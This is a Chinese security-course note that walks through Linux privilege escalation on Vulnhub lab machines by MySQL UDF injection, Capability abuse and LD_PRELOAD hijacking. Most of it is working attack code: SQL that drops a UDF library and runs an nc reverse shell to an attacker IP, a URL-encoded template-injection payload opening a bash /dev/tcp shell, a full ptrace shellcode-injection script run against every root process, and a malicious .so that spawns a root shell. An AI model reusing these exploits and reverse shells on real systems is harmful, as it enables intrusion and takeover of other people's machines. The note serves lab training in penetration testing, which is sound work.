小迪安全v2023学习笔记(一百四十一讲)—— Linux系统权限提升篇VulnhubCapability能力LD_Preload加载数据库等
文章目录
- 权限提升——第一百四十一天
- Linux系统权限提升篇&Vulnhub&Capability能力&LD_Preload加载&数据库等
- 前置知识
- 所处位置
- 什么是Capability、LD_Preload?
- 如何利用?
- Linux系统提权 - Web用户-数据库类型
- Linux系统提权 - Web&用户-Capability能力
- Linux系统提权 - 普通用户-LD_Preload加载
权限提升——第一百四十一天
Linux系统权限提升篇&Vulnhub&Capability能力&LD_Preload加载&数据库等
前置知识
所处位置
-
本节课的内容承接上节课,还是从Web权限或者用户权限跨越到系统权限:

-
继续回顾一下Linux的提权手段有:
- 内核溢出漏洞提权
- suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
- 数据库类型提权
-
那么本节课主要是关于Capability、LD_Preload以及数据库提权
什么是Capability、LD_Preload?
Capability是一种细粒度权限控制机制,用于将传统 Unix 的“root 权限”拆分为多个独立的权限单元,从而限制进程或线程的特权范围,降低安全风险。LD_PRELOAD是 Linux 的一个环境变量,用于在程序运行时优先加载用户指定的动态链接库(.so 文件),通过函数劫持(Hook) 实现调试、监控或功能扩展。其核心原理是动态链接器的符号解析优先级:预加载的库中的同名函数会覆盖系统库中的原始函数。
如何利用?
- 对于Capability,如果某个文件具有
CAP_SETUID、CAP_SYS_ADMIN、CAP_SYS_PTRACE、CAP_DAC_OVERRIDE、CAP_FOWNER、CAP_SETFCAP、CAP_SYS_MODULE等能力,我们就可以尝试利用它进行提权操作 - 对于LD_Preload,如果某文件的sudo权限中包含
enc_keep += LD_PRELOAD,则可以尝试让该文件加载恶意.so动态链接库文件进行提权操作
Linux系统提权 - Web用户-数据库类型
- 环境复现:https://www.vulnhub.com/entry/raven-2,269/
- 我们在Linux上讲数据库提权是和Windows上类似的,MySQL、Oracle、Redis都是差不多的
- 我们直接来到入口点,这个站点是用phpmailer搭建的,存在RCE漏洞,EXP地址:
/usr/share/exploitdb/exploits/php/webapps/40974.py

-
运行这个代码,然后启动监听并访问
http://<IP>/shell.php:

-
起一个交互式的终端:
python -c 'import pty; pty.spawn("/bin/bash")'
-
在当前目录的wordpress文件夹下发现配置文件泄露数据库账号密码:

-
尝试连接:
mysql -uroot -pR@v3nSecurity

- 成功连接上,于是想到数据库提权,这里有两种方式:
- 用工具梭哈 (注意外联问题)
- 手工操作 (不需要外联)
- 因为没有对外暴露3306端口,所以可以采取手工UDF提权,先编译动态链接文件:
# kali中有udf提权的文件
searchsploit udf
# 复制到当前所在文件夹
cp /usr/share/exploitdb/exploits/linux/local/1518.c .
# 编译为可执行文件
gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc

- 将他上传到目标主机的
/tmp目录下,在Mysql中进行导出:
# 查看mysql版本,不同版本的MySQL上传的.so文件位置不同
select version();
# 确认mysql安装位置
select @@basedir;
# 确认mysql安装位置
show variables like '%basedir%';
# 查看可导出文件位置,需要确定是否可以导出到plugin目录
show variables like '%secure%';
# 查找插件位置
show variables like '%plugin%';
# 查看系统版本
show variables like '%compile%';

- 这个就是我们导出的.so文件路径,因为在5.1版本以上的MySQL,只允许在plugin路径下加载.so文件
- 于是我们开始尝试利用:
# 选择数据库
use mysql;
# 创建shell表
create table shell(line blob);
# 往shell表中插入上传的二进制的udf.so
insert into shell values(load_file('/tmp/udf.so'));
# 导出udf.so到plugin目录位置
select * from shell into dumpfile '/usr/lib/mysql/plugin/udf.so';
# 创建do_system自定义函数
create function do_system returns integer soname 'udf.so';
# 使用自定义函数执行反弹Shell命令
select do_system('nc 192.168.0.129 6666 -e /bin/bash');

- 为什么要先将.so文件上传到/tmp目录,然后通过MySQL导出到/plugin目录呢?主要原因是一开始是低权限用户,对/plugin目录没有权限;而MySQL是高权限用户,对/plugin目录有权限。
Linux系统提权 - Web&用户-Capability能力
- 环境复现:https://www.vulnhub.com/entry/hacker-kid-101,719/
- 参考文章:
- Linux提权之:利用capabilities提权 - f_carey - 博客园
- [Hacker_Kids靶机渗透WP - 简书](https://www.jianshu.com/p/60673ac0454f
- 我们还是一样,来到入口点,通过账号密码登陆到后台:
账号:saket
密码:Saket!#$%@!!

- 后台存在模板注入漏洞,访问如下网址触发反弹Shell命令:
http://192.168.0.151:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E0%2E129%2F8888+0%3E%261%22%27%29%7D%7D

- 查询某个文件能力:
# 查看单个文件能力
getcap /usr/bin/php
# 查看所有文件能力
getcap -r / 2>/dev/null

- 可以看到这个python2.7拥有我们上面提到的
cap_sys_ptrace能力,可以尝试利用如下inject.py脚本:
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):_fields_ = [("r15", ctypes.c_ulonglong),("r14", ctypes.c_ulonglong),("r13", ctypes.c_ulonglong),("r12", ctypes.c_ulonglong),("rbp", ctypes.c_ulonglong),("rbx", ctypes.c_ulonglong),("r11", ctypes.c_ulonglong),("r10", ctypes.c_ulonglong),("r9", ctypes.c_ulonglong),("r8", ctypes.c_ulonglong),("rax", ctypes.c_ulonglong),("rcx", ctypes.c_ulonglong),("rdx", ctypes.c_ulonglong),("rsi", ctypes.c_ulonglong),("rdi", ctypes.c_ulonglong),("orig_rax", ctypes.c_ulonglong),("rip", ctypes.c_ulonglong),("cs", ctypes.c_ulonglong),("eflags", ctypes.c_ulonglong),("rsp", ctypes.c_ulonglong),("ss", ctypes.c_ulonglong),("fs_base", ctypes.c_ulonglong),("gs_base", ctypes.c_ulonglong),("ds", ctypes.c_ulonglong),("es", ctypes.c_ulonglong),("fs", ctypes.c_ulonglong),("gs", ctypes.c_ulonglong),]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):# Convert the byte to little endian.shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')shellcode_byte=int(shellcode_byte_little_endian,16)# Inject the byte.libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
- 将他放在本地,然后上传到目标主机,用python2.7运行该代码,这里可以遍历每个进程:
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

- 然后攻击机去主动连接目标主机的5600端口:
nc <IP> 5600

- 可以看到成功提权!
Linux系统提权 - 普通用户-LD_Preload加载
-
参考文章:使用LD_Preload的Linux权限升级技巧 - 渗透测试中心 - 博客园
-
这个就类似于Windows中的DLL劫持,只不过在Linux中是.so文件,在Windows中是.dll文件
-
提权原理:在一个应用程序运行时会加载一些固定的动态链接库,也就是so文件,一旦设置了LD_Preload,就可以用这个LD_Preload在程序运行前优先加载攻击者自定义的so文件,从而达到提权效果。
-
这里我们就用kali进行演示,它需要满足两个条件,在
/etc/sudoers文件中:-
设置
Defaults env_keep += LD_PRELOAD选项

-
具有SUDO操作的文件

-
-
这样设置之后就允许find命令去加载用户自定义的.so文件,于是我们写一个恶意的提权代码:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>void _init() {unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/sh");
}
- 编译该文件为shell.so文件:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
- 然后运行find命令,并且在运行时预加载shell.so文件:
sudo LD_PRELOAD=/tmp/shell.so find

